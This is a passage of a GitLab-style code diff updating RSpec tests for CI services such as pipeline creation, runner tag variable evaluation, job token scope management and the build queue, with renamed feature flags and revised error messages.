- end
-
- it 'does not remove the trace artifact' do
- expect { subject }.not_to change { job.reload.job_artifacts_trace }
- end
+ it 'removes the trace artifact' do
+ expect { subject }.to change { job.reload.job_artifacts_trace }.to(nil)
end
end
end
@@ -77,7 +51,7 @@ RSpec.describe Ci::ArchiveTraceService, '#execute' do
it 'leaves a warning message in sidekiq log' do
expect(Sidekiq.logger).to receive(:warn).with(
- class: ArchiveTraceWorker.name,
+ class: Ci::ArchiveTraceWorker.name,
message: 'The job does not have live trace but going to be archived.',
job_id: job.id)
@@ -94,7 +68,7 @@ RSpec.describe Ci::ArchiveTraceService, '#execute' do
it 'leaves a warning message in sidekiq log' do
expect(Sidekiq.logger).to receive(:warn).with(
- class: ArchiveTraceWorker.name,
+ class: Ci::ArchiveTraceWorker.name,
message: 'The job does not have archived trace after archiving.',
job_id: job.id)
@@ -114,7 +88,7 @@ RSpec.describe Ci::ArchiveTraceService, '#execute' do
job_id: job.id).once
expect(Sidekiq.logger).to receive(:warn).with(
- class: ArchiveTraceWorker.name,
+ class: Ci::ArchiveTraceWorker.name,
message: "Failed to archive trace. message: Job is not finished yet.",
job_id: job.id).and_call_original
diff --git a/spec/services/ci/create_pipeline_service/cache_spec.rb b/spec/services/ci/create_pipeline_service/cache_spec.rb
index 5f74c2f1cef..f9767a794db 100644
--- a/spec/services/ci/create_pipeline_service/cache_spec.rb
+++ b/spec/services/ci/create_pipeline_service/cache_spec.rb
@@ -33,11 +33,11 @@ RSpec.describe Ci::CreatePipelineService do
it 'uses the provided key' do
expected = {
- 'key' => 'a-key',
- 'paths' => ['logs/', 'binaries/'],
- 'policy' => 'pull-push',
- 'untracked' => true,
- 'when' => 'on_success'
+ key: 'a-key',
+ paths: ['logs/', 'binaries/'],
+ policy: 'pull-push',
+ untracked: true,
+ when: 'on_success'
}
expect(pipeline).to be_persisted
@@ -66,10 +66,10 @@ RSpec.describe Ci::CreatePipelineService do
it 'builds a cache key' do
expected = {
- 'key' => /[a-f0-9]{40}/,
- 'paths' => ['logs/'],
- 'policy' => 'pull-push',
- 'when' => 'on_success'
+ key: /[a-f0-9]{40}/,
+ paths: ['logs/'],
+ policy: 'pull-push',
+ when: 'on_success'
}
expect(pipeline).to be_persisted
@@ -82,10 +82,10 @@ RSpec.describe Ci::CreatePipelineService do
it 'uses default cache key' do
expected = {
- 'key' => /default/,
- 'paths' => ['logs/'],
- 'policy' => 'pull-push',
- 'when' => 'on_success'
+ key: /default/,
+ paths: ['logs/'],
+ policy: 'pull-push',
+ when: 'on_success'
}
expect(pipeline).to be_persisted
@@ -115,10 +115,10 @@ RSpec.describe Ci::CreatePipelineService do
it 'builds a cache key' do
expected = {
- 'key' => /\$ENV_VAR-[a-f0-9]{40}/,
- 'paths' => ['logs/'],
- 'policy' => 'pull-push',
- 'when' => 'on_success'
+ key: /\$ENV_VAR-[a-f0-9]{40}/,
+ paths: ['logs/'],
+ policy: 'pull-push',
+ when: 'on_success'
}
expect(pipeline).to be_persisted
@@ -131,10 +131,10 @@ RSpec.describe Ci::CreatePipelineService do
it 'uses default cache key' do
expected = {
- 'key' => /\$ENV_VAR-default/,
- 'paths' => ['logs/'],
- 'policy' => 'pull-push',
- 'when' => 'on_success'
+ key: /\$ENV_VAR-default/,
+ paths: ['logs/'],
+ policy: 'pull-push',
+ when: 'on_success'
}
expect(pipeline).to be_persisted
diff --git a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
index 7193e5bd7d4..a42770aae20 100644
--- a/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
+++ b/spec/services/ci/create_pipeline_service/creation_errors_and_warnings_spec.rb
@@ -69,7 +69,7 @@ RSpec.describe Ci::CreatePipelineService do
end
it 'contains both errors and warnings' do
- error_message = 'build job: need test is not defined in prior stages'
+ error_message = 'build job: need test is not defined in current or prior stages'
warning_message = /jobs:test may allow multiple pipelines to run/
expect(pipeline.yaml_errors).to eq(error_message)
diff --git a/spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb b/spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb
index 4cf52223e38..5dceb9f57f0 100644
--- a/spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb
+++ b/spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb
@@ -39,8 +39,8 @@ RSpec.describe Ci::CreatePipelineService do
it 'creates a pipeline' do
expect(pipeline).to be_persisted
expect(pipeline.builds.first.options).to match(a_hash_including({
- 'before_script' => ['ls'],
- 'script' => [
+ before_script: ['ls'],
+ script: [
'echo doing my first step',
'echo doing step 1 of job 1',
'echo doing my last step'
diff --git a/spec/services/ci/create_pipeline_service/dry_run_spec.rb b/spec/services/ci/create_pipeline_service/dry_run_spec.rb
index 0fb500f5729..01df7772eef 100644
--- a/spec/services/ci/create_pipeline_service/dry_run_spec.rb
+++ b/spec/services/ci/create_pipeline_service/dry_run_spec.rb
@@ -84,7 +84,7 @@ RSpec.describe Ci::CreatePipelineService do
it_behaves_like 'returns a non persisted pipeline'
it 'returns a pipeline with errors', :aggregate_failures do
- error_message = 'build job: need test is not defined in prior stages'
+ error_message = 'build job: need test is not defined in current or prior stages'
expect(subject.error_messages.map(&:content)).to eq([error_message])
expect(subject.errors).not_to be_empty
@@ -109,7 +109,7 @@ RSpec.describe Ci::CreatePipelineService do
it_behaves_like 'returns a non persisted pipeline'
it 'returns a pipeline with errors', :aggregate_failures do
- error_message = "'test' job needs 'build' job, but it was not added to the pipeline"
+ error_message = "'test' job needs 'build' job, but 'build' is not in any previous stage"
expect(subject.error_messages.map(&:content)).to eq([error_message])
expect(subject.errors).not_to be_empty
diff --git a/spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb b/spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb
new file mode 100644
index 00000000000..df881c1ac8f
--- /dev/null
+++ b/spec/services/ci/create_pipeline_service/evaluate_runner_tags_spec.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CreatePipelineService do
+ let_it_be(:group) { create(:group, :private) }
+ let_it_be(:group_variable) { create(:ci_group_variable, group: group, key: 'RUNNER_TAG', value: 'group')}
+ let_it_be(:project) { create(:project, :repository, group: group) }
+ let_it_be(:user) { create(:user) }
+
+ let(:service) { described_class.new(project, user, ref: 'master') }
+ let(:pipeline) { service.execute(:push) }
+ let(:job) { pipeline.builds.find_by(name: 'job') }
+
+ before do
+ project.add_developer(user)
+ stub_ci_pipeline_yaml_file config
+ end
+
+ context 'when the variable is set' do
+ let(:config) do
+ <<~EOS
+ variables:
+ KUBERNETES_RUNNER: kubernetes
+
+ job:
+ tags:
+ - docker
+ - $KUBERNETES_RUNNER
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the evaluated variable' do
+ expect(pipeline).to be_created_successfully
+ expect(job.tags.pluck(:name)).to match_array(%w[docker kubernetes])
+ end
+ end
+
+ context 'when the tag is composed by two variables' do
+ let(:config) do
+ <<~EOS
+ variables:
+ CLOUD_PROVIDER: aws
+ KUBERNETES_RUNNER: kubernetes
+ ENVIRONMENT_NAME: prod
+
+ job:
+ tags:
+ - docker
+ - $CLOUD_PROVIDER-$KUBERNETES_RUNNER-$ENVIRONMENT_NAME
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the evaluated variables' do
+ expect(pipeline).to be_created_successfully
+ expect(job.tags.pluck(:name)).to match_array(%w[docker aws-kubernetes-prod])
+ end
+ end
+
+ context 'when the variable is not set' do
+ let(:config) do
+ <<~EOS
+ job:
+ tags:
+ - docker
+ - $KUBERNETES_RUNNER
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the variable as a regular string' do
+ expect(pipeline).to be_created_successfully
+ expect(job.tags.pluck(:name)).to match_array(%w[docker $KUBERNETES_RUNNER])
+ end
+ end
+
+ context 'when the tag uses group variables' do
+ let(:config) do
+ <<~EOS
+ job:
+ tags:
+ - docker
+ - $RUNNER_TAG
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the evaluated variables' do
+ expect(pipeline).to be_created_successfully
+ expect(job.tags.pluck(:name)).to match_array(%w[docker group])
+ end
+ end
+
+ context 'when the tag has the same variable name defined for both group and project' do
+ let_it_be(:project_variable) { create(:ci_variable, project: project, key: 'RUNNER_TAG', value: 'project') }
+
+ let(:config) do
+ <<~EOS
+ variables:
+ RUNNER_TAG: pipeline
+ job:
+ tags:
+ - docker
+ - $RUNNER_TAG
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the project variable instead of group due to variable precedence' do
+ expect(pipeline).to be_created_successfully
+ expect(job.tags.pluck(:name)).to match_array(%w[docker project])
+ end
+ end
+
+ context 'with parallel:matrix config' do
+ let(:tags) { pipeline.builds.map(&:tags).flatten.pluck(:name) }
+
+ let(:config) do
+ <<~EOS
+ job:
+ parallel:
+ matrix:
+ - PROVIDER: [aws, gcp]
+ STACK: [monitoring, backup, app]
+ tags:
+ - ${PROVIDER}-${STACK}
+ script:
+ - echo "Hello runner selector feature"
+ EOS
+ end
+
+ it 'uses the evaluated variables' do
+ expect(pipeline).to be_created_successfully
+ expect(tags).to match_array(%w[aws-monitoring aws-backup aws-app gcp-monitoring gcp-backup gcp-app])
+ end
+ end
+end
diff --git a/spec/services/ci/create_pipeline_service/needs_spec.rb b/spec/services/ci/create_pipeline_service/needs_spec.rb
index 3b4a6178b8f..d096db10d0b 100644
--- a/spec/services/ci/create_pipeline_service/needs_spec.rb
+++ b/spec/services/ci/create_pipeline_service/needs_spec.rb
@@ -104,7 +104,7 @@ RSpec.describe Ci::CreatePipelineService do
it 'saves dependencies' do
expect(test_a_build.options)
- .to match(a_hash_including('dependencies' => ['build_a']))
+ .to match(a_hash_including(dependencies: ['build_a']))
end
it 'artifacts default to true' do
@@ -257,7 +257,7 @@ RSpec.describe Ci::CreatePipelineService do
it 'returns error' do
expect(pipeline.yaml_errors)
- .to eq("'test' job needs 'build' job, but it was not added to the pipeline")
+ .to eq("'test' job needs 'build' job, but 'build' is not in any previous stage")
end
context 'when need is optional' do
diff --git a/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb b/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
index 512cf546e6a..7a6535ed3fa 100644
--- a/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
+++ b/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
@@ -69,9 +69,9 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => [
- { 'local' => 'path/to/child.yml' }
+ trigger: {
+ include: [
+ { local: 'path/to/child.yml' }
]
}
}
@@ -149,9 +149,9 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => [
- { 'local' => 'path/to/child.yml' }
+ trigger: {
+ include: [
+ { local: 'path/to/child.yml' }
]
}
}
@@ -175,8 +175,8 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => 'path/to/child.yml'
+ trigger: {
+ include: 'path/to/child.yml'
}
}
end
@@ -202,8 +202,8 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => ['path/to/child.yml', 'path/to/child2.yml']
+ trigger: {
+ include: ['path/to/child.yml', 'path/to/child2.yml']
}
}
end
@@ -252,7 +252,7 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
end
it_behaves_like 'creation failure' do
- let(:expected_error) { /test job: dependency generator is not defined in prior stages/ }
+ let(:expected_error) { /test job: dependency generator is not defined in current or prior stages/ }
end
end
@@ -295,12 +295,12 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => [
+ trigger: {
+ include: [
{
- 'file' => 'path/to/child.yml',
- 'project' => 'my-namespace/my-project',
- 'ref' => 'master'
+ file: 'path/to/child.yml',
+ project: 'my-namespace/my-project',
+ ref: 'master'
}
]
}
@@ -353,11 +353,11 @@ RSpec.describe Ci::CreatePipelineService, '#execute' do
it_behaves_like 'successful creation' do
let(:expected_bridge_options) do
{
- 'trigger' => {
- 'include' => [
+ trigger: {
+ include: [
{
- 'file' => ["path/to/child1.yml", "path/to/child2.yml"],
- 'project' => 'my-namespace/my-project'
+ file: ["path/to/child1.yml", "path/to/child2.yml"],
+ project: 'my-namespace/my-project'
}
]
}
diff --git a/spec/services/ci/create_pipeline_service/rules_spec.rb b/spec/services/ci/create_pipeline_service/rules_spec.rb
index 33ec6aacc44..acdf38bbc13 100644
--- a/spec/services/ci/create_pipeline_service/rules_spec.rb
+++ b/spec/services/ci/create_pipeline_service/rules_spec.rb
@@ -230,22 +230,6 @@ RSpec.describe Ci::CreatePipelineService do
[nil, nil, nil, 'job var 4', nil, nil, 'overridden var 7']
)
end
-
- context 'when FF ci_workflow_rules_variables is disabled' do
- before do
- stub_feature_flags(ci_workflow_rules_variables: false)
- end
-
- it 'does not affect workflow variables but job variables' do
- expect(job1.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
- ['overridden var 1', 'job var 2', nil, 'workflow var 4', 'job var 5', nil, 'workflow var 7']
- )
-
- expect(job2.scoped_variables.to_hash.values_at(*variable_keys)).to eq(
- [nil, nil, nil, 'job var 4', nil, nil, 'overridden var 7']
- )
- end
- end
end
context 'when matching to the second rule' do
diff --git a/spec/services/ci/create_pipeline_service_spec.rb b/spec/services/ci/create_pipeline_service_spec.rb
index 3316f8c3d9b..64e8c6ac2df 100644
--- a/spec/services/ci/create_pipeline_service_spec.rb
+++ b/spec/services/ci/create_pipeline_service_spec.rb
@@ -1001,7 +1001,7 @@ RSpec.describe Ci::CreatePipelineService do
expect(pipeline.yaml_errors).not_to be_present
expect(pipeline).to be_persisted
expect(build).to be_kind_of(Ci::Build)
- expect(build.options).to eq(config[:release].except(:stage, :only).with_indifferent_access)
+ expect(build.options).to eq(config[:release].except(:stage, :only))
expect(build).to be_persisted
end
end
@@ -1715,7 +1715,7 @@ RSpec.describe Ci::CreatePipelineService do
it 'contains the expected errors' do
expect(pipeline.builds).to be_empty
- error_message = "'test_a' job needs 'build_a' job, but it was not added to the pipeline"
+ error_message = "'test_a' job needs 'build_a' job, but 'build_a' is not in any previous stage"
expect(pipeline.yaml_errors).to eq(error_message)
expect(pipeline.error_messages.map(&:content)).to contain_exactly(error_message)
expect(pipeline.errors[:base]).to contain_exactly(error_message)
diff --git a/spec/services/ci/destroy_pipeline_service_spec.rb b/spec/services/ci/destroy_pipeline_service_spec.rb
index 302233cea5a..588ff0b1762 100644
--- a/spec/services/ci/destroy_pipeline_service_spec.rb
+++ b/spec/services/ci/destroy_pipeline_service_spec.rb
@@ -67,6 +67,30 @@ RSpec.describe ::Ci::DestroyPipelineService do
end
end
end
+
+ context 'when pipeline is in cancelable state' do
+ before do
+ allow(pipeline).to receive(:cancelable?).and_return(true)
+ end
+
+ it 'cancels the pipeline' do
+ expect(pipeline).to receive(:cancel_running)
+
+ subject
+ end
+
+ context 'when cancel_pipelines_prior_to_destroy is disabled' do
+ before do
+ stub_feature_flags(cancel_pipelines_prior_to_destroy: false)
+ end
+
+ it "doesn't cancel the pipeline" do
+ expect(pipeline).not_to receive(:cancel_running)
+
+ subject
+ end
+ end
+ end
end
context 'user is not owner' do
diff --git a/spec/services/ci/job_token_scope/add_project_service_spec.rb b/spec/services/ci/job_token_scope/add_project_service_spec.rb
new file mode 100644
index 00000000000..ba889465fac
--- /dev/null
+++ b/spec/services/ci/job_token_scope/add_project_service_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Ci::JobTokenScope::AddProjectService do
+ let(:service) { described_class.new(project, current_user) }
+
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:target_project) { create(:project) }
+ let_it_be(:current_user) { create(:user) }
+
+ describe '#execute' do
+ subject(:result) { service.execute(target_project) }
+
+ it_behaves_like 'editable job token scope' do
+ context 'when user has permissions on source and target projects' do
+ before do
+ project.add_maintainer(current_user)
+ target_project.add_developer(current_user)
+ end
+
+ it 'adds the project to the scope' do
+ expect do
+ expect(result).to be_success
+ end.to change { Ci::JobToken::ProjectScopeLink.count }.by(1)
+ end
+ end
+
+ context 'when target project is same as the source project' do
+ before do
+ project.add_maintainer(current_user)
+ end
+
+ let(:target_project) { project }
+
+ it_behaves_like 'returns error', "Validation failed: Target project can't be the same as the source project"
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/job_token_scope/remove_project_service_spec.rb b/spec/services/ci/job_token_scope/remove_project_service_spec.rb
new file mode 100644
index 00000000000..238fc879f54
--- /dev/null
+++ b/spec/services/ci/job_token_scope/remove_project_service_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Ci::JobTokenScope::RemoveProjectService do
+ let(:service) { described_class.new(project, current_user) }
+
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
+ let_it_be(:target_project) { create(:project) }
+ let_it_be(:current_user) { create(:user) }
+
+ let_it_be(:link) do
+ create(:ci_job_token_project_scope_link,
+ source_project: project,
+ target_project: target_project)
+ end
+
+ describe '#execute' do
+ subject(:result) { service.execute(target_project) }
+
+ it_behaves_like 'editable job token scope' do
+ context 'when user has permissions on source and target project' do
+ before do
+ project.add_maintainer(current_user)
+ target_project.add_developer(current_user)
+ end
+
+ it 'removes the project from the scope' do
+ expect do
+ expect(result).to be_success
+ end.to change { Ci::JobToken::ProjectScopeLink.count }.by(-1)
+ end
+ end
+
+ context 'when target project is same as the source project' do
+ before do
+ project.add_maintainer(current_user)
+ end
+
+ let(:target_project) { project }
+
+ it_behaves_like 'returns error', "Source project cannot be removed from the job token scope"
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/pipeline_processing/shared_processing_service.rb b/spec/services/ci/pipeline_processing/shared_processing_service.rb
index 13c924a3089..5089f8d5dba 100644
--- a/spec/services/ci/pipeline_processing/shared_processing_service.rb
+++ b/spec/services/ci/pipeline_processing/shared_processing_service.rb
@@ -842,20 +842,6 @@ RSpec.shared_examples 'Pipeline Processing Service' do
expect(all_builds.manual).to contain_exactly(linux_build)
expect(all_builds.skipped).to contain_exactly(deploy)
end
-
- context 'when FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
- before do
- stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
- end
-
- it 'makes deploy DAG to be waiting for optional manual to finish' do
- expect(process_pipeline).to be_truthy
-
- expect(stages).to eq(%w(skipped created))
- expect(all_builds.manual).to contain_exactly(linux_build)
- expect(all_builds.created).to contain_exactly(deploy)
- end
- end
end
context 'when a bridge job has parallel:matrix config', :sidekiq_inline do
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_same_stages.yml b/spec/services/ci/pipeline_processing/test_cases/dag_same_stages.yml
new file mode 100644
index 00000000000..2a63daeb561
--- /dev/null
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_same_stages.yml
@@ -0,0 +1,47 @@
+config:
+ build:
+ stage: test
+ script: exit 0
+
+ test:
+ stage: test
+ script: exit 0
+ needs: [build]
+
+ deploy:
+ stage: test
+ script: exit 0
+ needs: [test]
+
+init:
+ expect:
+ pipeline: pending
+ stages:
+ test: pending
+ jobs:
+ build: pending
+ test: created
+ deploy: created
+
+transitions:
+ - event: success
+ jobs: [build]
+ expect:
+ pipeline: running
+ stages:
+ test: running
+ jobs:
+ build: success
+ test: pending
+ deploy: created
+
+ - event: success
+ jobs: [test]
+ expect:
+ pipeline: running
+ stages:
+ test: running
+ jobs:
+ build: success
+ test: success
+ deploy: pending
diff --git a/spec/services/ci/pipelines/add_job_service_spec.rb b/spec/services/ci/pipelines/add_job_service_spec.rb
new file mode 100644
index 00000000000..a72ffbfdc87
--- /dev/null
+++ b/spec/services/ci/pipelines/add_job_service_spec.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::Pipelines::AddJobService do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ let(:job) { build(:ci_build) }
+
+ subject(:service) { described_class.new(pipeline) }
+
+ context 'when the pipeline is not persisted' do
+ let(:pipeline) { build(:ci_pipeline) }
+
+ it 'raises error' do
+ expect { service }.to raise_error('Pipeline must be persisted for this service to be used')
+ end
+ end
+
+ describe '#execute!' do
+ subject(:execute) do
+ service.execute!(job) do |job|
+ job.save!
+ end
+ end
+
+ it 'assigns pipeline attributes to the job' do
+ expect do
+ execute
+ end.to change { job.slice(:pipeline, :project, :ref) }.to(
+ pipeline: pipeline, project: pipeline.project, ref: pipeline.ref
+ )
+ end
+
+ it 'returns a service response with the job as payload' do
+ expect(execute).to be_success
+ expect(execute.payload[:job]).to eq(job)
+ end
+
+ it 'calls update_older_statuses_retried!' do
+ expect(job).to receive(:update_older_statuses_retried!)
+
+ execute
+ end
+
+ context 'when the block raises an error' do
+ subject(:execute) do
+ service.execute!(job) do |job|
+ raise "this is an error"
+ end
+ end
+
+ it 'returns a service response with the error and the job as payload' do
+ expect(execute).to be_error
+ expect(execute.payload[:job]).to eq(job)
+ expect(execute.message).to eq('this is an error')
+ end
+ end
+
+ context 'when the FF ci_fix_commit_status_retried is disabled' do
+ before do
+ stub_feature_flags(ci_fix_commit_status_retried: false)
+ end
+
+ it 'does not call update_older_statuses_retried!' do
+ expect(job).not_to receive(:update_older_statuses_retried!)
+
+ execute
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/play_bridge_service_spec.rb b/spec/services/ci/play_bridge_service_spec.rb
index d6130325b5a..3f97bfdf5ae 100644
--- a/spec/services/ci/play_bridge_service_spec.rb
+++ b/spec/services/ci/play_bridge_service_spec.rb
@@ -45,16 +45,6 @@ RSpec.describe Ci::PlayBridgeService, '#execute' do
it 'marks the subsequent job as processable' do
expect { execute_service }.to change { job.reload.status }.from('skipped').to('created')
end
-
- context 'when the FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
- before do
- stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
- end
-
- it 'does not change the subsequent job' do
- expect { execute_service }.not_to change { job.reload.status }.from('skipped')
- end
- end
end
context 'when bridge is not playable' do
diff --git a/spec/services/ci/play_build_service_spec.rb b/spec/services/ci/play_build_service_spec.rb
index 78de91675f9..babd601e0cf 100644
--- a/spec/services/ci/play_build_service_spec.rb
+++ b/spec/services/ci/play_build_service_spec.rb
@@ -71,16 +71,6 @@ RSpec.describe Ci::PlayBuildService, '#execute' do
it 'marks the subsequent job as processable' do
expect { service.execute(build) }.to change { job.reload.status }.from('skipped').to('created')
end
-
- context 'when the FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
- before do
- stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
- end
-
- it 'does not change the subsequent job' do
- expect { service.execute(build) }.not_to change { job.reload.status }.from('skipped')
- end
- end
end
context 'when variables are supplied' do
diff --git a/spec/services/ci/register_job_service_spec.rb b/spec/services/ci/register_job_service_spec.rb
index c4b1e2133ed..6e5d7725a7a 100644
--- a/spec/services/ci/register_job_service_spec.rb
+++ b/spec/services/ci/register_job_service_spec.rb
@@ -145,7 +145,7 @@ module Ci
context 'when using DEFCON mode that disables fair scheduling' do
before do
- stub_feature_flags(ci_queueing_disaster_recovery: true)
+ stub_feature_flags(ci_queueing_disaster_recovery_disable_fair_scheduling: true)
end
context 'when all builds are pending' do
@@ -269,51 +269,31 @@ module Ci
let!(:unrelated_group_runner) { create(:ci_runner, :group, groups: [unrelated_group]) }
it 'does not consider builds from other group runners' do
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 6
+ queue = ::Ci::Queue::BuildQueueService.new(group_runner)
+
+ expect(queue.builds_for_group_runner.size).to eq 6
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 5
+ expect(queue.builds_for_group_runner.size).to eq 5
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 4
+ expect(queue.builds_for_group_runner.size).to eq 4
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 3
+ expect(queue.builds_for_group_runner.size).to eq 3
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 2
+ expect(queue.builds_for_group_runner.size).to eq 2
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 1
+ expect(queue.builds_for_group_runner.size).to eq 1
execute(group_runner)
- expect(described_class.new(group_runner).send(:builds_for_group_runner).count).to eq 0
+ expect(queue.builds_for_group_runner.size).to eq 0
expect(execute(group_runner)).to be_nil
end
end
- context 'when the use_distinct_in_register_job_object_hierarchy feature flag is enabled' do
- before do
- stub_feature_flags(use_distinct_in_register_job_object_hierarchy: true)
- stub_feature_flags(use_distinct_for_all_object_hierarchy: true)
- end
-
- it 'calls DISTINCT' do
- expect(described_class.new(group_runner).send(:builds_for_group_runner).to_sql).to include("DISTINCT")
- end
- end
-
- context 'when the use_distinct_in_register_job_object_hierarchy feature flag is disabled' do
- before do
- stub_feature_flags(use_distinct_in_register_job_object_hierarchy: false)
- stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
- end
-
- it 'does not call DISTINCT' do
- expect(described_class.new(group_runner).send(:builds_for_group_runner).to_sql).not_to include("DISTINCT")
- end
- end
-
context 'group runner' do
let(:build) { execute(group_runner) }
@@ -349,8 +329,9 @@ module Ci
let!(:other_build) { create(:ci_build, :pending, :queued, pipeline: pipeline) }
before do
- allow_any_instance_of(Ci::RegisterJobService).to receive(:builds_for_project_runner)
- .and_return(Ci::Build.where(id: [pending_job, other_build]))
+ allow_any_instance_of(::Ci::Queue::BuildQueueService)
+ .to receive(:execute)
+ .and_return(Ci::Build.where(id: [pending_job, other_build]).pluck(:id))
end
it "receives second build from the queue" do
@@ -361,8 +342,9 @@ module Ci
context 'when single build is in queue' do
before do
- allow_any_instance_of(Ci::RegisterJobService).to receive(:builds_for_project_runner)
- .and_return(Ci::Build.where(id: pending_job))
+ allow_any_instance_of(::Ci::Queue::BuildQueueService)
+ .to receive(:execute)
+ .and_return(Ci::Build.where(id: pending_job).pluck(:id))
end
it "does not receive any valid result" do
@@ -372,8 +354,9 @@ module Ci
context 'when there is no build in queue' do
before do
- allow_any_instance_of(Ci::RegisterJobService).to receive(:builds_for_project_runner)
- .and_return(Ci::Build.none)
+ allow_any_instance_of(::Ci::Queue::BuildQueueService)
+ .to receive(:execute)
+ .and_return([])
end
it "does not receive builds but result is valid" do
@@ -721,17 +704,17 @@ module Ci
include_examples 'handles runner assignment'
end
- context 'when joining with pending builds table' do
+ context 'when using pending builds table' do
before do
- stub_feature_flags(ci_pending_builds_queue_join: true)
+ stub_feature_flags(ci_pending_builds_queue_source: true)
end
include_examples 'handles runner assignment'
end
- context 'when not joining with pending builds table' do
+ context 'when not using pending builds table' do
before do
- stub_feature_flags(ci_pending_builds_queue_join: false)
+ stub_feature_flags(ci_pending_builds_queue_source: false)
end
include_examples 'handles runner assignment'
diff --git a/spec/services/ci/retry_build_service_spec.rb b/spec/services/ci/retry_build_service_spec.rb
index c71bec31984..42d6e66b38b 100644
--- a/spec/services/ci/retry_build_service_spec.rb
+++ b/spec/services/ci/retry_build_service_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe Ci::RetryBuildService do
project.add_reporter(reporter)
end
- clone_accessors = described_class.clone_accessors
+ clone_accessors = described_class.clone_accessors.without(described_class.extra_accessors)
reject_accessors =
%i[id status user token token_encrypted coverage trace runner
@@ -39,7 +39,7 @@ RSpec.describe Ci::RetryBuildService do
erased_at auto_canceled_by job_artifacts job_artifacts_archive
job_artifacts_metadata job_artifacts_trace job_artifacts_junit
job_artifacts_sast job_artifacts_secret_detection job_artifacts_dependency_scanning
- job_artifacts_container_scanning job_artifacts_dast
+ job_artifacts_container_scanning job_artifacts_cluster_image_scanning job_artifacts_dast
job_artifacts_license_scanning
job_artifacts_performance job_artifacts_browser_performance job_artifacts_load_performance
job_artifacts_lsif job_artifacts_terraform job_artifacts_cluster_applications
@@ -98,7 +98,7 @@ RSpec.describe Ci::RetryBuildService do
end
clone_accessors.each do |attribute|
- it "clones #{attribute} build attribute" do
+ it "clones #{attribute} build attribute", :aggregate_failures do
expect(attribute).not_to be_in(forbidden_associations), "association #{attribute} must be `belongs_to`"
expect(build.send(attribute)).not_to be_nil
expect(new_build.send(attribute)).not_to be_nil
@@ -134,7 +134,7 @@ RSpec.describe Ci::RetryBuildService do
end
end
- it 'has correct number of known attributes' do
+ it 'has correct number of known attributes', :aggregate_failures do
processed_accessors = clone_accessors + reject_accessors
known_accessors = processed_accessors + ignore_accessors
@@ -146,9 +146,10 @@ RSpec.describe Ci::RetryBuildService do
Ci::Build.attribute_names.map(&:to_sym) +
Ci::Build.attribute_aliases.keys.map(&:to_sym) +
Ci::Build.reflect_on_all_associations.map(&:name) +
- [:tag_list, :needs_attributes]
-
- current_accessors << :secrets if Gitlab.ee?
+ [:tag_list, :needs_attributes] -
+ # ee-specific accessors should be tested in ee/spec/services/ci/retry_build_service_spec.rb instead
+ described_class.extra_accessors -
